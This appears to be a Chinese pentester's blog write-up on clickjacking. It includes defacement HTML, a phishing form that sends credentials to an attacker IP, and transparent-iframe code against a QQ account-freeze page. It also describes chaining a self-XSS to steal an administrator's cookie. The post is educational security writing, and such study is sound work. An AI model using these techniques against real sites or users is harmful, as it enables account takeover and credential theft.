雞肋點搭配ClickJacking攻擊-獲取管理員許可權

前言

有一段時間沒做測試了,偶爾的時候也會去挖挖洞。本文章要寫的東西是我利用ClickJacking拿下管理員許可權的測試過程。但在說明過程之前,先帶大家了解一下ClickJacking基本原理以及簡單的漏洞挖掘

ClickJacking

ClickJacking背景說明:

ClickJacking(點擊劫持)是由互聯網安全專家羅伯特·漢森和耶利米·格勞斯曼在2008年首創的。ClickJacking是一種視覺欺騙攻擊手段,在web端就是iframe嵌套一個透明不可見的頁面,讓用戶在不知情(被欺騙)的情況下,點擊攻擊者想要欺騙用戶點擊的位置。

說道視覺欺騙,相信有炫技經驗的朋友們一定會想到,自己一個後台拿不下Webshell許可權的時候,而想要黑掉首頁從而達到炫技,使用的是什麼呢?沒錯一般使用CSS樣式表來劫持首頁以造成黑掉的假象~

<table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>hacked by key</h1></td></tr></tbody></table>

除了可以炫技,CSS劫持可以做的東西也有很多:例如經典的form表單釣魚攻擊

<table+style="left:+0px;+top:+0px;+position:+fixed;z-index:+5000;position:absolute;width:100%;background-color:white;"><tr><td><form action="http://192.168.0.109/login.php" method="post">賬號:<input type="text" name="name"><br>密碼:<input type="password" name="pwd"><br><input type="submit" value="登陸"></form><td></tr></table>

這裡就不對代碼的意思進行解讀了,可以看到CSS劫持達到的視覺欺騙攻擊效果還是比較LOW的,因為這樣的攻擊手段偏被動式。而我要說的點擊劫持其實也算是被動式,不過相對來說比較容易獲得信任讓被動式觸發,這裡只是單單對攻擊手法誰的成功率比較高作為比較(點擊劫持也是基於CSS劫持呢~)。

前面背景介紹的時候說了,點擊劫持攻擊其實就是鑲嵌一個iframe框架(存在點擊劫持漏洞的頁面)在頁面上,然後再把其修改為透明的樣式。這樣的操作只是造成了視覺欺騙,還沒達到欺騙點擊的效果,所以就需要知道iframe框架其按鈕的位置,然後在基於透明層模擬一個位置大小相同的按鈕,發給用戶讓其點擊~~

這裡以QQ安全中心的一個點擊劫持為例,作為一個QQ的資深用戶應該知道QQ是有安全中心緊急凍結QQ服務的,只要登錄自己的安全中心就可以凍結,地址(漏洞地址,目前漏洞已經修復)為:aq.qq.com/cn2/message_c

一點擊,你的QQ就被會凍結(當時不知道逗了多少人~),那這樣怎麼利用呢?

1.建立iframe框架:

<iframe id="frame" src="https://aq.qq.com/cn2/message_center/wireless/wireless_seal_auth?source_id=2985"></iframe>

2.建立iframe的CSS樣式:

#frame { border: 0px; /*邊框屬性為0*/ height: 100%; /*框架高度100%*/ width: 100%; /*框架寬度100%*/ /*控制不透明度的屬性,兼容各大瀏覽器*/ filter: alpha(Opacity=0); /*提供給IE瀏覽器8之前的*/ -moz-opacity: 0; /*提供給火狐瀏覽器的*/ -webkit-opacity: 0; /*提供給webkit內核的*/ -khtml-opacity: 0; /*提供給KHTML內核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供給IE8之後的*/ opacity: 0; /*控制不透明度的屬性,兼容各大瀏覽器*/}

3.獲取iframe框架引用的原頁面的按鈕位置和大小:

大小直接通過審查元素可以看得到:

現在要獲取的就是按鈕元素到瀏覽器頂部的距離,這裡通過id.offsetTop有些時候是無法直接獲取的:

>>span_verify.offsetTop

←16

獲取到的是16~很醉,所以使用如下的方法直接獲取:

document.getElementById("span_verify").getBoundingClientRect().top

4.建立按鈕:

<input type="button" class="button" value="Click" />

5.根據第三步驟獲取到的建立按鈕樣式:

.button { position: fixed; width: 100%; height: 42px; margin: 0 auto; left: 0; right: 0; display: block; top: 278px;}

6.散播,用戶中招:

一次點擊劫持攻擊案例

說了這麼多,在前幾天的測試中我是如何拿到管理員許可權呢?挖掘到一處self-xss,這裡先說明下self-xss可以理解為只能攻擊myself~

發現流程:

發現輸入框->秉著見框就X的原理插入XSS Payload->彈框->發現成功

然而獲取到的URL鏈接是/?keyword=<script>alert(1)</script>,但是不是xss,keyword的值顯示在輸入框內,需要你再點擊搜索標題按鈕才可以觸發漏洞。

形成的攻擊思路->iframe嵌套漏洞URL鏈接->Click Jacking攻擊頁面構造->通過留言給管理員引誘觸發

攻擊頁面構造流程其實耐心讀到這裡的朋友已經是非常明確步驟了:

建立iframe框架->建立iframe框架CSS樣式->獲取按鈕位置大小->建立按鈕->建立按鈕CSS樣式->留言板留言外網攻擊鏈接->獲取管理員Cookie->Cookie偽造進入後台

結尾

一次很有意思的實踐,讓自己滿滿的成就感,同時也完成了項目任務~

本文已經首發 i春秋,禁止他人轉載!

推薦閱讀:

Scalers:如何處理社群里的海量消息?
三星智能攝像頭再爆遠程命令執行漏洞
【車庫藏品】 多少事情,我們永遠無法知道真相
廣播和電視會被淘汰嗎?
信息存儲存在極限嗎?

TAG:Web安全测试 | 渗透测试 | 信息 |